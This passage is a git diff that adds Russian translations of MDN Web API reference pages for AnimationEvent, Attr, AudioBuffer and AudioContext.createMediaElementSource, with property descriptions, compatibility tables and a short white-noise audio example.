+ <dd>Is a {{domxref("DOMString")}}, starting with <code>"::"</code>, containing the name of the <a href="/en-US/docs/Web/CSS/Pseudo-elements" title="Learn more about pseudo-elements.">pseudo-element</a> the animation runs on. If the animation doesn't run on a pseudo-element but on the element itself, specify an empty string: <code>""</code>. It defaults to <code>""</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>A new {{domxref("AnimationEvent")}}, initialized per any provided options.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}</td>
+   <td>{{ Spec2('CSS3 Animations')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.AnimationEvent.AnimationEvent")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations">Using CSS animations</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}</li>
+ <li>The {{domxref("AnimationEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ru/web/api/animationevent/index.html b/files/ru/web/api/animationevent/index.html
new file mode 100644
index 0000000000..746d34bfed
--- /dev/null
+++ b/files/ru/web/api/animationevent/index.html
@@ -0,0 +1,182 @@
+---
+title: AnimationEvent
+slug: Web/API/AnimationEvent
+translation_of: Web/API/AnimationEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Web Animations API")}}</p>
+
+<p>AnimationEvent - это интерфейс представляющий события, содержащии информацию, связанную с анимацией.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Также свойства наследуются от родителя {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}</dt>
+ <dd>Является {{domxref("DOMString")}} создержащей значения {{cssxref("animation-name")}} CSS свойств связанных с <strong>transition.</strong></dd>
+ <dt>{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}</dt>
+ <dd>Является числом с плавающей точкой, которое задаёт коливество времени от начала анимации в секундах, когда это событие отклоненно, несмотря на какое-либо время анимация была остановленна.Для события   "animationstart" , elapsedTime равно  <code>0.0 если не было заданно отрицательное значение для </code>{{cssxref("animation-delay")}}, в этом случае событие будет срабатывать с  elapsedTime содержащим <code>(-1 * </code><em>delay</em><code>)</code>.</dd>
+ <dt>{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}</dt>
+ <dd>Является  {{domxref("DOMString")}}, начинающийся с '::', содержащий имя <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">псевдо-элемента </a> ,на котором работает анимация.Если анимация не работает на псевдо-элементе, но работает на элементе,значит указанна пустая строка ' '. </dd>
+ <dt>
+ <h2 id="Конструктор">Конструктор</h2>
+
+ <p> </p>
+ </dt>
+ <dt>{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}</dt>
+ <dd>Создаёт событие AnimationEvent с передачей параметров.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Также наследуют методы от родителя {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}</dt>
+ <dd>Инициализирует AnimationEvent созданную используя резко суждённый метод {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}.</dd>
+ <dt>
+ <h2 id="Спецификация">Спецификация</h2>
+
+ <p> </p>
+ </dt>
+ <dt>
+ <table>
+  <thead>
+   <tr>
+    <th scope="col">Спецификация</th>
+    <th scope="col">Статус</th>
+    <th scope="col">Комментарий</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}</td>
+    <td>{{ Spec2('CSS3 Animations') }}</td>
+    <td>
+     <p>Определяет инициализацию</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dt>
+</dl>
+
+<h2 id="Поддержка_браузерами"> Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>1.0 {{ property_prefix("webkit") }}</p>
+
+    <p>{{CompatChrome(43.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>10.0</td>
+   <td>12 {{ property_prefix("o") }}<br>
+    12.10<br>
+    15.0 {{ property_prefix("webkit") }}</td>
+   <td>4.0 {{ property_prefix("webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>Конструктор AnimationEvent()</code></td>
+   <td>
+    <p>{{CompatChrome(43.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>initAnimationEvent()</code>{{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}<br>
+    Removed in {{ CompatGeckoDesktop("23.0") }}</td>
+   <td>10.0</td>
+   <td>12</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td><code>Псевдо-элемент</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>10.0</td>
+   <td>12 {{ property_prefix("o") }}<br>
+    12.10<br>
+    15.0 {{ property_prefix("webkit") }}</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("webkit") }}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>Конструктор AnimationEvent()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>initAnimationEvent()</code>{{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}<br>
+    Removed in {{ CompatGeckoMobile("23.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Псевдо-элемент</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations">Использование CSS анимации</a></li>
+ <li>Анимация связанных CSS свойств и по правилам: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+</ul>
diff --git a/files/ru/web/api/attr/index.html b/files/ru/web/api/attr/index.html
new file mode 100644
index 0000000000..a762dfa74e
--- /dev/null
+++ b/files/ru/web/api/attr/index.html
@@ -0,0 +1,211 @@
+---
+title: Attr
+slug: Web/API/Attr
+translation_of: Web/API/Attr
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Этот тип представляет атрибут элемента DOM в виде объекта. В большинстве методов DOM вы, вероятно, непосредственно извлекаете атрибут в виде строки (например, {{domxref ("Element.getAttribute ()")}}, но некоторые функции (например, {{domxref ("Element.getAttributeNode ()" )}}) или средства итерации, отдают тип <code>Attr</code>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<div class="warning"><strong>Внимание:</strong>  Начиная с Gecko 7.0 {{geckoRelease("7.0")}},  устаревшие  свойства и мотоды при обращении выведут  предупреждающие сообщения на консоль. Поэтому  вы должны   проверить свой код. Смотрите полный список  <a href="#Deprecated_properties_and_methods">устаревших свойств и методов</a>.</div>
+
+<h2 id="Свойства">Свойства </h2>
+
+<dl>
+ <dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt>
+ <dd>Имя аттрибута.</dd>
+ <dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}}<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font>представление URI пространства имен атрибута, или NULL если нет никакого пространства имен.</dd>
+ <dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}}  представление локальной части полного имени атрибута.</dd>
+ <dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}}  представление префикс пространства имен атрибута, или NULL, если префикс не указан.</dd>
+ <dt>{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}</dt>
+ <dd>
+ <p>Элемнет, содержащий атрибут.</p>
+
+ <div class="note">
+ <p><strong>Примечание:</strong> DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент.  Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым  {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввел это свойство. </p>
+
+ <p>Gecko выводит предупреждение об использовании, начиная с Gecko 7.0 {{geckoRelease("7.0")}}. Это предупреждение было удалено в Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46).</p>
+ </div>
+ </dd>
+ <dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt>
+ <dd>Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определен в исходном коде или сценарием и false, если ее значение прибыло из значения по умолчанию  определенном в DTD документе.</dd>
+ <dt>{{domxref("Attr.value", "value")}}</dt>
+ <dd>Значение атрибута</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> уровень DOM 3 определил  <code>namespaceURI</code>, <code>localName </code> и   <code>prefix</code> в {{domxref("Node")}} интерфейсе. В DOM4 они были перемещены в <code>Attr</code>.</p>
+
+<p>Это изменение реализовано в Chrome с версии 46.0 и Firefox с версии 48.</p>
+</div>
+
+<h2 id="Устаревшие_свойства_и_методы">Устаревшие свойства и методы </h2>
+
+<p>Эти свойства устарели.  Там где это допустимо представлена соответствующая замена.</p>
+
+<dl>
+ <dt><code>attributes</code></dt>
+ <dd>Это свойство всегда возвращает значение <code>NULL</code>.</dd>
+ <dt><code>childNodes</code> {{obsolete_inline(14)}}</dt>
+ <dd>Это свойство всегда возвращает пустой  {{domxref("NodeList")}}.</dd>
+ <dt><code>firstChild</code> {{obsolete_inline(14)}}</dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>isId</code> {{readOnlyInline}}</dt>
+ <dd>Указывает, является ли атрибут "ID attribute". "ID attribute" - это атрибут, значение которого должно быть уникальным в документе DOM. В HTML DOM "id" является единственным атрибутом ID, но XML-документы могут определять иные. Уникальность атрибута часто определяется {{Glossary("DTD")}} или другим описанием схемы.</dd>
+ <dt><code>lastChild</code> {{obsolete_inline(14)}}</dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>nextSibling</code></dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>nodeName</code></dt>
+ <dd>Используйте {{domxref("Attr.name")}} взамен.</dd>
+ <dt><code>nodeType</code></dt>
+ <dd>Это свойство теперь всегда возвращает 2 (<code>ATTRIBUTE_NODE</code>).</dd>
+ <dt><code>nodeValue</code></dt>
+ <dd>Используйте {{domxref("Attr.value")}} взамен.</dd>
+ <dt><code>ownerDocument</code></dt>
+ <dd> Вы не должны были использовать это свойство в первую очередь, поэтому вам, вероятно, все равно, что это  свойство больше не используется. </dd>
+ <dt><code>parentNode</code></dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>previousSibling</code></dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt>
+ <dd>Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова  {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадежным, если узел был перемещен.</dd>
+ <dt> </dt>
+ <dt><code>specified</code></dt>
+ <dd>Это свойство всегда возвращает значение  <code>true</code>.</dd>
+ <dt><code>textContent</code></dt>
+ <dd>Используйте  {{domxref("Attr.value")}} взамен.</dd>
+</dl>
+
+<p>The following methods have been deprecated:</p>
+
+<dl>
+ <dt><code>appendChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Измените значение {{domxref("Attr.value")}} взамен.</dd>
+ <dt><code>cloneNode()</code></dt>
+ <dd> Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. </dd>
+ <dt><code>createAttribute()</code></dt>
+ <dd>Используйте  {{domxref("Element.setAttribute()")}} взамен.</dd>
+ <dt><code>createAttributeNS()</code></dt>
+ <dd>Используйте {{domxref("Element.setAttributeNS()")}} взамен.</dd>
+ <dt><code>getAttributeNode()</code></dt>
+ <dd>Используйте  {{domxref("Element.getAttribute()")}} взамен.</dd>
+ <dt><code>getAttributeNodeNS()</code></dt>
+ <dd>Используйте  {{domxref("Element.getAttributeNS()")}}  взамен.</dd>
+ <dt><code>hasAttributes() </code>{{obsolete_inline("21.0")}}</dt>
+ <dd>Этот  метод всегда возвращает значение  false.</dd>
+ <dt><code>hasChildNodes()</code></dt>
+ <dd>Этот  метод всегда возвращает значение  false.</dd>
+ <dt><code>insertBefore()</code></dt>
+ <dd>Измените значение  {{domxref("Attr.value")}} взамен.</dd>
+ <dt><code>isSupported()</code></dt>
+ <dd> Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. </dd>
+ <dt><code>isEqualNode()</code></dt>
+ <dd> Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. </dd>
+ <dt><code>normalize()</code></dt>
+ <dd> Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. </dd>
+ <dt><code>removeAttributeNode()</code></dt>
+ <dd>Используйте {{domxref("Element.removeAttribute()")}} взамен.</dd>
+ <dt><code>removeChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Измените значение {{domxref("Attr.value")}} взамен..</dd>
+ <dt><code>replaceChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Modify the value of {{domxref("Attr.value")}} взамен.</dd>
+ <dt><code>setAttributeNode()</code></dt>
+ <dd>Используйте {{domxref("Element.setAttribute()")}} взамен.</dd>
+ <dt><code>setAttributeNodeNS()</code></dt>
+ <dd>Используйте {{domxref("Element.setAttributeNS()")}} взамен.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-attr", "Attr")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Added <code>ownerElement</code> property back</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#interface-attr", "Attr")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Moved <code>namespaceURI</code>, <code>prefix</code> and <code>localName</code> from {{domxref("Node")}} to this API and removed <code>ownerElement</code>, <code>schemaTypeInfo</code> and <code>isId</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-637646024", "Attr")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Начиная с Chrome 45, это свойство больше не наследуется от Node.</p>
diff --git a/files/ru/web/api/audiobuffer/index.html b/files/ru/web/api/audiobuffer/index.html
new file mode 100644
index 0000000000..3cd5485a68
--- /dev/null
+++ b/files/ru/web/api/audiobuffer/index.html
@@ -0,0 +1,215 @@
+---
+title: AudioBuffer
+slug: Web/API/AudioBuffer
+translation_of: Web/API/AudioBuffer
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<h2 id="Сводка">Сводка</h2>
+
+<p><code>AudioBuffer</code> - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в  {{ domxref("AudioBufferSourceNode") }}.</p>
+</div>
+
+<p>Объекты этого типа предназначены для хранения небольших звуковых фрагментов, обычно менее 45 секунд. Для более длинных звуков, объекты реализующие {{domxref("MediaElementAudioSourceNode")}} являются более подходящими. Этот буфер содержит данные в формате неперемещаемого IEE754 32-битного линейного ИКМ с номинальным диапазоном от -1 до +1, то есть 32-битный буфер с плавающей точкой каждого звукового фрагмента (samples) от -1.0 до 1.0. Если {{domxref("AudioBuffer")}} имеет несколько каналов, то они хранятся в отдельном буфере.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}</dt>
+ <dd><span style="display: none;"> </span>Создает и возвращает новый объект <code>AudioBuffer</code>.</dd>
+ <dt>
+ <h2 id="Свойства"><span style="display: none;"> </span>Свойства</h2>
+ </dt>
+ <dt>{{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число с плавающей точкой - частоту дискретизации (sample rate), хранящих в буфере данных ИКМ в звуковых фрагментах (samples) в секунду.</dd>
+ <dt>{{domxref("AudioBuffer.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает целое число - длину в кадрах, хранящихся в буфере данных ИКМ.</dd>
+ <dt>{{domxref("AudioBuffer.duration")}} {{readonlyInline}}</dt>
+ <dd>Возвращает целое число или число с плавающей точкой - продолжительность в секундах данных ИКМ, хранящихся в буфере.</dd>
+ <dt>{{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}</dt>
+ <dd>Возвращает целое число - количество аудиоканалов в буфере, описываемых данными ИКМ.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.getChannelData()")}}</dt>
+ <dd>Возвращает {{jsxref("Float32Array")}}, содержащий связанные с каналом данные ИКМ. Определяется параметром канала (с 0 - первого канала).</dd>
+ <dt>{{domxref("AudioBuffer.copyFromChannel()")}}</dt>
+ <dd>Копирует звуковые фрагменты (samples) из указанного канала AudioBuffer в массив.</dd>
+ <dt>{{domxref("AudioBuffer.copyToChannel()")}}</dt>
+ <dd>Копирует звуковые фрагменты (samples) из массива в указанный канал AudioBuffer.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере показывается как создать объект AudioBuffer и заполнить его случайными белыми шумами. Вы можете найти полный пример в репозитории <a href="https://github.com/mdn/webaudio-examples">webaudio-examples</a>. Так же доступна <a href="https://mdn.github.io/webaudio-examples/audio-buffer/">live версия</a>.</p>
+
+<pre class="brush: js;highlight:[7,14,27]">// Стерео
+var channels = 2;
+
+// Создает пустой двухсекундный стерео-буфер
+// с частотой звука AudioContext (sample rate)
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Заполняет буфер белыми шумами;
+  // просто случайные значения от -1.0 до 1.0
+  for (var channel = 0; channel &lt; channels; channel++) {
+    // Получаем массив данных канала
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i &lt; frameCount; i++) {
+      // Math.random() находится в [0; 1.0]
+      // аудио должно быть в интервале [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  // Получает AudioBufferSourceNode.
+  // AudioNode для проигрывания из AudioBuffer
+  var source = audioCtx.createBufferSource();
+
+  // устанавливает буфер в AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+
+  // присоединяет AudioBufferSourceNode к
+  // destination, чтобы мы могли слышать звук
+  source.connect(audioCtx.destination);
+
+  // Начать воспроизведение с источника
+  source.start();
+
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(14.0)}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(15)}} {{property_prefix("webkit")}}<br>
+    {{CompatOpera(22)}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>copyFromChannel()</code> и <code>copyToChannel()</code></p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(27)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome для Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(25)}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+   <td>{{CompatChrome(28.0)}} {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>copyFromChannel() </code>и <code>copyToChannel()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(27)}}</td>
+   <td> </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Использование Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/createmediaelementsource/index.html b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
new file mode 100644
index 0000000000..dcb637c6ac
--- /dev/null
+++ b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
@@ -0,0 +1,156 @@
+---
+title: AudioContext.createMediaElementSource()
+slug: Web/API/AudioContext/createMediaElementSource
+translation_of: Web/API/AudioContext/createMediaElementSource
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>Метод <code>createMediaElementSource()</code> интерфейса {{ domxref("AudioContext") }} используется для создания объекта {{ domxref("MediaElementAudioSourceNode") }} из существующих HTML элементов {{htmlelement("audio")}} или {{htmlelement("video")}} для дальнейших манипуляций со звуком и его воспроизведения.</p>
+</div>
+
+<p>Узнать больше о созданном таким образом аудио узле можно на справочной странице {{ domxref("MediaElementAudioSourceNode") }}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>myMediaElement</code></dt>
+ <dd>Обьект {{domxref("HTMLMediaElement")}}, который Вы хотите использовать в качестве исходного звука.</dd>
+</dl>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Объект {{domxref("MediaElementAudioSourceNode")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
